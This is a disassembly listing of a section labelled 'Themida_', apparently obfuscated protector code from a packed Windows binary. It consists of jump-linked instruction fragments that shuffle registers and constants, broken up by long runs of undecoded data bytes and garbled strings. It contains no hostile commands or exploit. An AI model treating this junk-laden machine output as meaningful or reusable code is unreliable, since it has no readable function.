loc_5564E5:				; CODE XREF: Themida_:0055B736j
		pop	esi
		pop	ecx
		mov	eax, esi
		mov	esi, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_55DADF
; ---------------------------------------------------------------------------


loc_5564F9:				; CODE XREF: Themida_:0055CB70j
		sub	edx, 6004EA5Ah
		push	eax
		jmp	loc_55E0E4
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 6244E9h, 16626800h, 14890000h, 2474FF24h, 0EFE95A04h
		dd 5900009Dh, 0A3ECE9h,	24148B00h, 4C481h, 49680000h, 89000013h
		dd 74FF241Ch, 8F5B0424h, 0FF5C2404h, 0F1E92434h, 1000085h
		dd 2434FFC8h, 4C48159h,	1000000h, 24048BC3h, 0FFFBB8E9h
		dd 4B850FFh, 29000000h,	65E958C1h, 83000070h, 0B32D04C4h
		dd 5654A022h, 451FF7BEh, 0D0EE8122h, 0E915E805h, 8BCEh
		dd 42Dh, 24048700h, 2404895Ch, 0FFF116E9h, 1F180FFh, 4708E9h
		dd 2806B700h, 5A665BFDh, 0C8BE800h, 4C48124h, 59000000h
		dd 6821B551h, 3B22h, 0B4240489h, 58E5005Bh, 8087ED80h
		dd 9EE992F5h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5565CB:				; CODE XREF: Themida_:005581AFj
		add	ebp, edi
		jmp	loc_55A838
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0D338D180h, 3C8BF989h, 0F2C2E924h, 0BB53FFFFh, 0ED29DEh
		dd 835BDF31h, 21E9FFEFh
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5565F3:				; CODE XREF: Themida_:0055581Cj
		sub	eax, edi
		add	eax, 6A002D30h
		add	eax, 59DF28EBh
		mov	edi, [esp]
		jmp	loc_554F54
; ---------------------------------------------------------------------------
		db 0ACh
		dd 0D804502Ch, 0E9E9D800h, 3100009Ch, 34332434h, 24343124h
		dd 240C3156h, 0E9240C33h, 1F95h, 8124048Bh, 4C4h, 0E7895700h
		dd 4C781h, 0EC830000h, 240C8904h, 4B9h,	56B85000h, 296C0852h
		dd 0CF0158C7h, 5256BB53h, 0DF016C08h, 3925E9h
		db 0
; ---------------------------------------------------------------------------


loc_55665D:				; CODE XREF: Themida_:0055DF25j
		sub	[esp+4], edx
		jmp	loc_559D09
; ---------------------------------------------------------------------------


loc_556666:				; CODE XREF: Themida_:0055AF28j
		push	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 68C70619h
		jmp	loc_55CB15
; ---------------------------------------------------------------------------
		db 29h
		dd 92FBE9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55667E:				; CODE XREF: Themida_:0055F847j
		mov	[esp], eax
		mov	eax, 4
		add	ebp, eax
		push	dword ptr [esp]
		pop	eax
		push	ebp
		jmp	loc_556D5D
; ---------------------------------------------------------------------------


loc_556692:				; CODE XREF: Themida_:0055BCAEj
		shr	esi, 8
		inc	esi
		xchg	edi, esi
		not	edi
		xchg	edi, esi
		add	esi, 1
		inc	esi
		push	9EEh
		mov	[esp], ecx
		mov	ecx, 0FFA07F96h
		sub	esi, 4ED430DCh
		sub	esi, ecx
		add	esi, 4ED430DCh
		jmp	loc_559C65
; ---------------------------------------------------------------------------
aWsX		db 'Wé',0Bh,'X',0
		align 2
		dw 8147h
		dd 2EDF03C7h, 2BC38118h, 148C658h, 5728E9FBh, 0C15F0000h
		dd 0EFE902E7h, 0F7FFFFFEh, 2CF381D3h, 0E9D9B7A8h, 79B5h
		dd 204CB3BBh, 81DBF76Eh, 70BEBCBh, 4E3C113h, 8101C383h
		dd 44113C3h, 5FDFE9C2h,	0DE870000h, 20D0E9h, 71E95700h
		db 69h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55671B:				; CODE XREF: Themida_:00556B8Cj
		pop	eax
		jmp	loc_55A49E
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 419589Dh, 9FE99C24h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55672F:				; CODE XREF: Themida_:0055F964j
		pop	ecx
		sub	esi, 784804ACh
		add	esi, edx
		add	esi, 784804ACh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_554966
; ---------------------------------------------------------------------------
		db 28h,	0E7h, 58h
		dd offset dword_4A4E48+0A4A1h
		dd 8DE99700h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55675B:				; CODE XREF: Themida_:0055F6CAj
		add	ecx, 2AD50E6h
		add	[ecx], eax
		pop	ecx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_55E43E
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8B662424h, 0B2E92404h, 290000A4h, 0FF04247Ch, 815F2434h
		dd 4ECh, 2F78E900h, 0E95D0000h,	38C0h
; ---------------------------------------------------------------------------


loc_556794:				; CODE XREF: Themida_:0055C130j
		jmp	loc_5548CE
; ---------------------------------------------------------------------------


loc_556799:				; CODE XREF: Themida_:00556FE7j
		inc	bl
		shl	bl, 1
		and	bl, 0AAh
		xchg	dl, bl
		push	ecx
		mov	ch, dl
		not	ch
		jmp	loc_55937A
; ---------------------------------------------------------------------------
		dd 8958C389h, 0F9015BDFh, 32DDE95Fh, 0F9010000h, 4BB3E95Fh
		dd 5B680000h, 89000011h, 8BBA2414h, 8175F662h, 6E571ACAh
		dd 13F28109h, 8124F171h, 0F0684EAh, 0FB1EE959h,	0E947FFFFh
		dd 0FFFFE92Ah, 0C8B65266h, 5A66F328h, 1A2CCE04h, 8A18E9h
		dd 24148900h, 0C281E289h, 4, 8704C283h,	315C2414h, 30FF66C3h
		dd 0FFE0B5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556819:				; CODE XREF: Themida_:0055722Ej
		add	esp, 4
		xchg	esi, [esp]
		jmp	loc_5582EF
; ---------------------------------------------------------------------------
		db 81h
		dd 1FB52404h, 1C8B2982h, 4C48124h, 0C1000000h, 45E904EBh
		dd 5C000024h, 3B206852h, 35680000h, 0E9000035h,	5FC9h
		dd 0E9240481h, 2976400Bh, 2C812404h, 400BE924h,	72BB5376h
		dd 10C9451h, 8B04245Ch,	0B9E9241Ch
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556873:				; CODE XREF: Themida_:00559579j
		push	eax
		mov	eax, 100B43E3h
		dec	eax
		shr	eax, 4
		neg	eax
		neg	eax
		sub	eax, 45402139h
		push	esi
		mov	esi, 47DF72CFh
		xor	esi, 0CE4DE3FEh
		add	eax, esi
		pop	esi
		sub	ecx, eax
		pop	eax
		neg	ecx
		push	edi
		mov	edi, 0D97CBB1Eh
		xor	ecx, edi
		pop	edi
		add	ecx, edx
		pop	edx
		sub	ecx, 9A1DD74h
		add	edx, ecx
		pop	ecx
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		dd 54240C89h, 0FFEF64E9h, 8BCB89FFh, 92E9240Ch,	81FFFFF0h
		dd 41FFEEBh, 0E9DE2901h, 0FFFFE02Eh, 23E9515Ch
		db 31h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5568DB:				; CODE XREF: Themida_:0055F908j
		mov	ebx, 64547802h
		mov	ecx, ebx
		pop	ebx
		shl	ecx, 8
		push	esi
		mov	esi, 6A87599h
		shl	esi, 8
		jmp	loc_55CBFF
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 19665866h, 0E99C2404h, 6ED8h, 24148966h
		dd 0E99C5066h, 9592h, 236EEB81h, 0C30175D6h, 236EC381h
		dd 0EB8175D6h, 4DF57D76h, 8124048Bh, 4C4h, 46C38100h, 513D3E46h
		dd 0E252A7B9h, 0E181413Eh, 6DED79A6h, 426E981h,	0F1813ABAh
		dd 0FB3F3AD2h, 159CB29h, 0A8C381C3h, 81091976h,	3E4646EBh
		dd 93EB813Dh, 68238B39h, 160Ch,	0FF240489h, 148B2434h
		dd 5B545324h, 4C381h, 0B9510000h, 4, 0F1E9CB01h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556987:				; CODE XREF: Themida_:0055BCF8j
		pop	esi
		or	eax, eax
		jz	loc_55D038
		push	5417h
		jmp	loc_555D6E
; ---------------------------------------------------------------------------


loc_55699A:				; CODE XREF: Themida_:005558F9j
		push	edx
		pop	eax
		jmp	loc_55A0F0
; ---------------------------------------------------------------------------


loc_5569A1:				; CODE XREF: Themida_:0055C171j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		push	eax
		jmp	loc_556D47
; ---------------------------------------------------------------------------
		db 5
		dd 7FEE26BCh, 47A8B951h, 0C8016BD1h, 0FFE0E1E9h, 4C581FFh
		dd 33000000h, 2C31242Ch, 242C3324h, 0E924248Bh,	0FFFFDEEEh
		dd 7CB0EE81h, 0C681271Ch, 321350DCh, 5B1F2D5Fh,	0F0290D73h
		dd 735B1F05h, 2434FF0Dh, 9226E95Eh, 8B660000h, 89532404h
		dd 75BE56E3h, 0E9421870h, 6A98h, 0AD5560BDh, 7E5C17Ch
		dd 0DBDBB53h, 0DD014E54h, 0B9F5815Bh, 0E9A4FEBDh, 132Bh
		dd 0F935E953h, 8B54FFFFh, 89512404h, 4C181E1h, 83000000h
		dd 0C8704C1h, 24248B24h, 405h, 26BF5700h, 0C163B521h, 0E78103EFh
		dd 5E7F0C95h, 5139C781h, 0F78147F5h, 546B5539h,	16E9F801h
		dd 66000051h, 68240C8Bh, 6292h,	5A71E9h, 0E9E08900h, 25E5h
; ---------------------------------------------------------------------------


loc_556A88:				; CODE XREF: Themida_:0055F86Aj
		pop	dword ptr [esp]
		jmp	loc_555C69
; ---------------------------------------------------------------------------


loc_556A90:				; CODE XREF: Themida_:0055A4C9j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	4775h
		mov	[esp], ebx
		jmp	loc_55941A
; ---------------------------------------------------------------------------
		dd 9CC1385Ch, 0FFDE21E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556AAD:				; CODE XREF: Themida_:0055C4A1j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, esp
		push	edx
		mov	edx, 1C8B55D9h
		xor	edx, 5C726C98h
		jmp	loc_5605C6
; ---------------------------------------------------------------------------
aSqstd		db ')èQéâ„',0
		align 4
		dd 0DC2F7968h, 240C8B62h, 16CFE9h, 0D831AD00h, 68685155h
		dd 0E93AE208h, 75D4h, 5652E589h, 0FFDEBFE9h, 0EC815AFFh
		dd 4, 51243489h, 320B2CB9h, 6BE18170h, 8111D863h, 547B87C1h
		dd 68A2E92Eh, 0ABE90000h, 83FFFFDDh, 248904ECh,	24048124h
		dd 4, 4BA525Bh,	0E9000000h, 0DAEh, 240C8B66h, 0FFAEE955h
		dd 8B66FFFFh, 6856240Ch, 1261h,	81242489h, 42404h, 815E0000h
		dd 4C6h, 4EC8100h, 0E9000000h, 31A9h
; ---------------------------------------------------------------------------


loc_556B6C:				; CODE XREF: Themida_:00556BA9j
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		jmp	loc_556440
; ---------------------------------------------------------------------------
		db 5Eh
		dd 148BD101h, 4C48324h,	134DE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B89:				; CODE XREF: Themida_:0055D559j
		push	dword ptr [esp]
		jmp	loc_55671B
; ---------------------------------------------------------------------------
		db 5, 7Ch, 0EFh
		dd 0C701AB0Fh, 60DBE9h
		db 0
; ---------------------------------------------------------------------------


loc_556B9D:				; CODE XREF: Themida_:0055E1F3j
		add	esp, 4
		jmp	loc_558A1B
; ---------------------------------------------------------------------------


loc_556BA8:				; CODE XREF: Themida_:00555ACFj
		push	esi
		jmp	loc_556B6C
; ---------------------------------------------------------------------------
		dw 0F068h
		dd 594ED151h, 33D0F181h, 0F4E95414h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556BBF:				; CODE XREF: Themida_:0055B075j
		xchg	ebp, ecx
		jmp	loc_55ABA1
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 31D0C181h, 685B06B4h, 4ED2h,	52240489h, 1BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556BDD:				; CODE XREF: Themida_:0055BA4Cj
		and	ecx, edx
		pop	edx
		shr	ecx, 6
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_556464
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 0E3581930h, 515DE829h, 0CA89C189h, 81240C8Bh, 4C4h
		dd 24048B00h, 4C481h, 0D0290000h, 0FFFECCE9h, 4C481FFh
		dd 83000000h, 3C8904ECh, 4EC8124h, 89000000h, 25E92434h
		dd 28FFFFE5h, 3F2C5AF0h, 2CDBE9h, 42D2F700h, 6FCAE281h
		dd 67E96A84h, 0B7000073h, 80D7F6FBh, 0C780F1C7h, 14F7808Eh
		dd 1F4FE9h, 80C5FE00h, 0CD800BEDh, 0A0CD801Ah, 51EAF580h
		dd 0E998B652h, 9146h, 0EF28F7B5h, 8FCF8059h, 5350C7FEh
		dd 4274E9h, 0C8B6600h, 0E7895724h, 21E5B951h, 0E1D15CBBh
		dd 7111E9h, 0D9BD5500h,	292492D9h, 6CE2E9E8h, 478F0000h
		dd 0DC08E940h, 0E380FFFFh, 57D8E92Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556CCE:				; CODE XREF: Themida_:00555788j
		push	dword ptr [ebx]
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	2DD3h
		mov	[esp], edx
		mov	edx, 0F8C15A5h
		push	esi
		push	eax
		mov	eax, 102B2FC9h
		mov	esi, eax
		pop	eax
		not	esi
		shr	esi, 8
		jmp	loc_55E223
; ---------------------------------------------------------------------------
		dd 582434FFh, 356AE9h, 0DBC4E900h, 0EA01FFFFh, 0E4AC281h
		dd 2C8B1174h, 0E6895624h, 4C681h, 7FE90000h, 33000002h
		dd 1C31241Ch, 241C3324h, 0B30F665Ch, 0E99C2404h, 0FFFFDB96h
		dd 4BAh, 143C2D00h, 4DE947BFh
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556D47:				; CODE XREF: Themida_:005569B2j
		mov	eax, 68DB7C51h
		push	edi
		mov	edi, 23347D01h
		xor	edi, 3CEA07C1h
		jmp	loc_5604EB
; ---------------------------------------------------------------------------


loc_556D5D:				; CODE XREF: Themida_:0055668Dj
		mov	ebp, esp
		jmp	loc_55A2D6
; ---------------------------------------------------------------------------


loc_556D64:				; CODE XREF: Themida_:00555149j
		push	esi
		mov	esi, 0A1C4F49h
		add	esi, 7DE26C6Ah
		add	esi, 78014451h
		add	edx, esi
		jmp	loc_55AFA8
; ---------------------------------------------------------------------------
a_sL		db '_é~L',0
		dw 8100h
		dd 4ECh, 24048900h, 0FFF3AAE9h,	0B2CD81FFh, 0E9587E6Fh
		dd 56D5h, 0D7055EBAh, 81D2F779h, 1DBFF0EAh, 5AD0893Fh
		dd 3506E8C1h, 11C2CEEh,	1154E981h, 0C10164F3h, 1154C181h
		dd 875864F3h, 248B240Ch, 2434FF24h, 42A8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556DD2:				; CODE XREF: Themida_:0055E990j
		xor	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5550B2
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 25F8E9h, 2434FF00h, 5244E9h, 1AC38100h, 291CE873h
		dd 2B73E9C3h, 0D6F70000h, 0C14EDEF7h, 0C68106E6h, 6828AF44h
		dd 515EF301h, 4B9h, 0CAB95100h,	81725631h, 606463EBh, 81CB0111h
		dd 606463C3h, 71E95911h, 57000074h, 0E92414F7h,	6187h
		dd 2BD55h, 0EE010000h, 2434335Dh, 33243431h, 248B2434h
		dd 0E1F76624h, 491768h,	243C8900h, 89E95F54h, 0B300006Ch
		dd 0E14BE961h, 8143FFFFh, 5570AAF3h, 51DBF758h,	9F64AAB9h
		dd 81D1F72Fh, 0B10AA5E9h, 14E18136h, 0F7430A6Eh, 8E9C1D9h
		dd 0AB23C181h, 3DE9388Dh
		db 0E4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E9B:				; CODE XREF: Themida_:0055935Bj
		add	eax, 0AC6F5465h
		xor	ecx, eax
		pop	eax
		and	ecx, 3737438Eh
		jmp	loc_55FADF
; ---------------------------------------------------------------------------


loc_556EAE:				; CODE XREF: Themida_:0055834Aj
		xor	bl, 0B4h
		jmp	loc_55F658
; ---------------------------------------------------------------------------
aSk		db ')\$',8,'éŠ<',0
		dw 5B00h
aZLHb		db '‡,$‹$$h¡[',0
		dw 8900h
		dd 2C81243Ch, 7575D124h, 38428F64h, 0D1384281h,	5F647575h
		dd 551768h, 243C8900h, 43A6BB53h, 0D4E930C8h, 5C000043h
		dd 4C381h, 0BA520000h, 2, 335AD301h, 1C31241Ch,	241C3324h
		dd 401665Ch, 20E99C24h,	81000088h, 401636EFh, 6BC02DE5h
		dd 0F8016B0Ah, 0A6BC005h, 243C8B6Bh, 505F5457h,	981FE9h
		dd 16EE8100h, 8134B046h, 3FF6B7EEh, 5EF78981h, 442CC581h
		dd 0FD014B06h, 442CED81h, 0D15F4B06h, 78FCE9E5h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556F5A:				; CODE XREF: Themida_:0055D2C7j
		pop	ebx
		push	eax
		not	dword ptr [esp]
		pop	eax
		add	eax, 843EB31Fh
		sub	ecx, eax
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55B649
; ---------------------------------------------------------------------------


loc_556F7B:				; CODE XREF: Themida_:00555497j
		push	edi
		mov	edi, 361F51A5h
		jmp	loc_55E0F4
; ---------------------------------------------------------------------------
		dw 8158h
		dd 2C6h, 9B44E900h, 0E2890000h,	4C281h,	0EA830000h, 2A99E904h
		dd 0BF570000h, 4, 52FEE9h, 39E95100h, 2C000067h, 241C8BC5h
		dd 32D5E9h
		db 0
; ---------------------------------------------------------------------------


loc_556FBD:				; CODE XREF: Themida_:0055D977j
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_55AFB4
; ---------------------------------------------------------------------------
		dw 0D9F6h
		dd 0E980D1F6h, 1DEDE9C0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556FDA:				; CODE XREF: Themida_:00554D10j
		push	ecx
		mov	ecx, 61917D8Ch
		jmp	loc_55ACCB
; ---------------------------------------------------------------------------


loc_556FE5:				; CODE XREF: Themida_:00557E9Cj
		dec	bl
		jmp	loc_556799
; ---------------------------------------------------------------------------
		dd 40F8CA81h, 0DAF715FDh, 3042E9h, 8B545300h, 0C481241Ch
		dd 4, 4C381h, 18E90000h, 0D1000055h, 419505E8h,	0BF57E0A0h
		dd 528578F8h, 0EF81D7F7h, 36CA3DEBh, 0E95FFE29h, 5DEBh
		dd 4240481h, 5F000000h,	5D7968h, 2583E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55703E:				; CODE XREF: Themida_:0055E363j
		push	ebx
		mov	ebx, 2CB8320Ch
		sub	ebx, 2CB83208h
		mov	eax, ebx
		pop	ebx
		jmp	loc_5561FF
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 93FE73F9h, 895FFE01h, 36E95EF3h, 81000097h, 42404h
		dd 0F1E90000h, 58000097h, 405h,	9655E900h, 0C6290000h
		dd 5C70C681h, 86E91102h, 0F7000023h, 6195E9D5h,	2C870000h
		dd 0B62D5C24h, 1160305h, 0B6BB53F0h, 0E9160305h, 453Dh
		dd 0CCE9DFF7h, 400007Eh, 2CD800E0h, 5F8AE9E0h, 14310000h
		dd 24143324h, 6624248Bh, 6866F9F7h, 89662F24h, 50662414h
		dd 0D7FCE99Ch, 0B5B7FFFFh, 0D8E9FA20h, 8B00006Bh, 54512404h
		dd 656DE9h, 72F96800h, 2C890000h, 30A9E924h, 248B0000h
		dd 0EA0AE924h, 248BFFFFh, 0A65E924h, 0C6810000h, 271C7CB0h
		dd 4B4FEE81h, 0FE0115FBh, 4B4FC681h, 0C5E915FBh
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55711B:				; CODE XREF: Themida_:0055635Bj
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55F672
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 50E902B6h, 49000069h, 964CC181h, 0C829D780h,	941AE9h
		dd 24048B00h, 4C481h, 44680000h, 89000068h, 0E0892404h
		dd 4BF57h, 0F8010000h, 0E951565Fh, 76CDh, 4BEh,	5EF30100h
		dd 75C368h, 24048900h, 5E75E9h
		db 0
; ---------------------------------------------------------------------------


loc_557175:				; CODE XREF: Themida_:0055F415j
		push	dword ptr [esp]
		pop	esi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5592D7
; ---------------------------------------------------------------------------


loc_55718D:				; CODE XREF: Themida_:005563DDj
		push	1EDE0BA5h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_55C72B
; ---------------------------------------------------------------------------
		dd 4A30F66h, 0D9E99C24h, 8B000076h, 0C4812414h,	4, 0FFD70DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571C1:				; CODE XREF: Themida_:00559A28j
		mov	cl, ah
		pop	eax
		mov	ebx, [esp]
		jmp	loc_55D5DC
; ---------------------------------------------------------------------------


loc_5571CC:				; CODE XREF: Themida_:005591D1j
		xor	eax, edx
		push	1E9Ah
		jmp	loc_5563A8
; ---------------------------------------------------------------------------
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 3C895C24h,	18BB5324h
		dd 0C131F179h, 814306E3h, 0A1BA03C3h, 2883E983h, 2C890000h
		dd 5CF4E924h, 0F4800000h, 6E4C092h, 8005E4C0h, 0E308F5F4h
		dd 69E38058h, 0FFFAA5E9h, 44D8BFFFh, 24E91C9Eh
		db 16h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55722B:				; CODE XREF: Themida_:0055FCA2j
		mov	ecx, [esp]
		jmp	loc_556819
; ---------------------------------------------------------------------------


loc_557233:				; CODE XREF: Themida_:00560C40j
		inc	esi
		jmp	loc_55F40C
; ---------------------------------------------------------------------------


loc_557239:				; CODE XREF: Themida_:0055AD8Dj
		add	esp, 4
		or	eax, eax
		jz	loc_55E905
		push	dword ptr [edi+28h]
		add	dword ptr [esp], 4E5076AEh
		pop	eax
		sub	esp, 4
		mov	[esp], ebx
		push	edi
		mov	edi, 26440A54h
		mov	ebx, edi
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 1C2037BDh
		mov	edi, ebx
		pop	ebx
		jmp	loc_559876
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0C1000000h, 0E1C105E9h, 385DE902h, 0C15F0000h, 0CCE907EEh
		dd 6800003Eh, 3308h, 0B6241489h, 0BBEE80B8h, 35D56866h
		dd 24148966h, 12454F6h,	57E95A66h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5572C7:				; CODE XREF: Themida_:0055D5A9j
		push	ebp
		mov	ebp, 79EF77C1h
		shr	ebp, 3
		sub	ebp, 0FCA4815h
		dec	ebp
		shl	ebp, 5
		shr	ebp, 4
		xor	ebp, 0EE74DC0h
		jmp	loc_55B905
; ---------------------------------------------------------------------------


loc_5572E8:				; CODE XREF: Themida_:0055D6D9j
		sub	esp, 4
		jmp	loc_55FAC9
; ---------------------------------------------------------------------------
		db 81h
		dd 177D72E9h, 0E9D90115h, 0FFFFE2B9h, 0C76B850h, 0B3E91FEAh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55730B:				; CODE XREF: Themida_:0055D0C9j
		pop	edi
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 320D7007h
		xor	ecx, 7C23023Fh
		xor	ecx, 4E2E723Ch
		jmp	loc_555C75
; ---------------------------------------------------------------------------
		dw 0FE0Ch
a4zXsI		db '4z(ÆX霈',0
		align 2
aZhx		db 'Zhå"',0
		align 4
		dd 0F7241489h, 148B2414h, 4C48124h, 0E9000000h,	0DAFh
		dd 0E908E5C1h, 244Ah
; ---------------------------------------------------------------------------


loc_557354:				; CODE XREF: Themida_:0055F954j
		sub	ebx, 4EA306DFh
		add	ebx, edx
		add	ebx, 4EA306DFh
		pop	edx
		mov	edx, ebx
		pop	ebx
		not	edx
		push	ebx
		mov	ebx, 5E592CE9h
		add	ebx, 768E7F75h
		sub	ebx, 0D4E7AC5Fh
		add	edx, ebx
		jmp	loc_55807A
; ---------------------------------------------------------------------------
		db 50h,	53h, 68h
		dd 3C2529B4h, 6EE3815Bh, 816B6F42h, 250026F3h, 5F1EE928h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55739A:				; CODE XREF: Themida_:00557639j
		jmp	loc_5548CE
; ---------------------------------------------------------------------------
		db 0F3h
		dd 386203A5h, 1FE0E9h, 0F7D7F700h, 61EF81D7h, 8937823Ch
		dd 88B5E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5573BA:				; CODE XREF: Themida_:0055D695j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 20h
		sub	ebx, 3E024EB2h
		add	ebx, edi
		push	1E78h
		mov	[esp], edi
		push	edx
		push	ebx
		mov	ebx, 1ED952B5h
		mov	edx, ebx
		pop	ebx
		xor	edx, 9B16E0Ch
		sub	edx, 18EB2576h
		not	edx
		sub	edx, 0D7B16E2Ch
		mov	edi, edx
		pop	edx
		not	edi
		jmp	loc_559165
; ---------------------------------------------------------------------------
aYhz		db 'YhZ',0Bh,0
		align 4
		dd 89241C89h, 66E952E3h, 8F000088h, 335C2404h, 14312414h
		dd 24143324h, 5124248Bh, 5E08950h, 4, 0FFF157E9h, 88E954FFh
		dd 89000014h, 4C781E7h,	51000000h, 27745FB9h, 49D1F742h
		dd 8B9BBA52h, 0D129BDD8h, 4EC7815Ah, 124234Eh, 4EEF81CFh
		dd 5924234Eh, 5C243C87h, 0FFD62EE9h, 241C87FFh,	37B9515Ch
		dd 0E94EF126h, 314Ch, 381CC381h, 0EB016DA1h, 381CEB81h
		dd 6CE96DA1h, 28FFFFE8h, 0B65251E8h, 95A1E998h,	0D0210000h
		dd 14ECE9h, 0D9F74900h,	9538F181h, 0C2818FFAh, 7B7B6520h
		dd 0EA81CA29h, 7B7B6520h, 55C22959h, 0AF705A68h, 0D5F75D01h
		dd 1C581h, 0EDC10000h, 8EDC108h, 78B2B951h, 0CD0120F9h
		dd 53240C8Bh, 0C381E389h, 4, 8704C383h,	0F75C241Ch, 18ED81D5h
		dd 16D3F0Dh, 8343E9EAh,	0C3010000h, 6D95C381h, 33583D1Bh
		dd 1C31241Ch, 1E40E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557506:				; CODE XREF: Themida_:0055EFF0j
		add	ebx, 4
		jmp	loc_555EFD
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 0E9000000h, 67Bh, 19E9D089h,	29000003h, 2434FFC2h, 43F7E958h
		dd 665C0000h, 0DAB25253h, 0E9E9E280h, 5A1Ch, 0FF24248Bh
		dd 34FF2434h, 0E276E924h, 0E951FFFFh, 5AB0h, 728CE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557556:				; CODE XREF: Themida_:0055D7A4j
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		add	edi, 4
		xor	edi, [esp]
		jmp	loc_55A53F
; ---------------------------------------------------------------------------


loc_557573:				; CODE XREF: Themida_:0055F653j
		dec	esi
		push	esi
		xchg	esi, [esp]
		jmp	loc_555156
; ---------------------------------------------------------------------------
		db 81h,	4, 24h
		dd 4, 81240C8Bh, 4C4h, 4C18100h, 83000000h, 0C8702C1h
		dd 0F7665C24h, 4EC83E9h, 89240489h, 4BF57E0h, 1000000h
		dd 56535FF8h, 0C918F3BEh, 0F6814E25h, 2B2E30F4h, 0EF69E3BBh
		dd 4690E97Eh, 0CB800000h, 0E9C3FE83h, 39AEh, 3649CB9h
		dd 48DEE96Bh, 0CE810000h, 6B616A21h, 3AD5F681h,	0C6832E3Dh
		dd 0DE04E901h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575EE:				; CODE XREF: Themida_:00558733j
		mov	esi, [esp]
		jmp	loc_55EB57
; ---------------------------------------------------------------------------
		dw 0F989h
		dd 0E9CF015Fh, 535Ch, 8704C083h, 8F5C2404h, 0E95C2404h
		dd 812Ch
; ---------------------------------------------------------------------------


loc_557610:				; CODE XREF: Themida_:0055F8BBj
		dec	eax
		not	eax
		add	eax, 0B3FBE15h
		add	edx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_55B90D
; ---------------------------------------------------------------------------


loc_557632:				; CODE XREF: Themida_:005577B8j
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_55739A
; ---------------------------------------------------------------------------
		dw 1431h
		dd 24143324h, 6624248Bh, 2404B30Fh, 0D27CE99Ch,	0BE56FFFFh
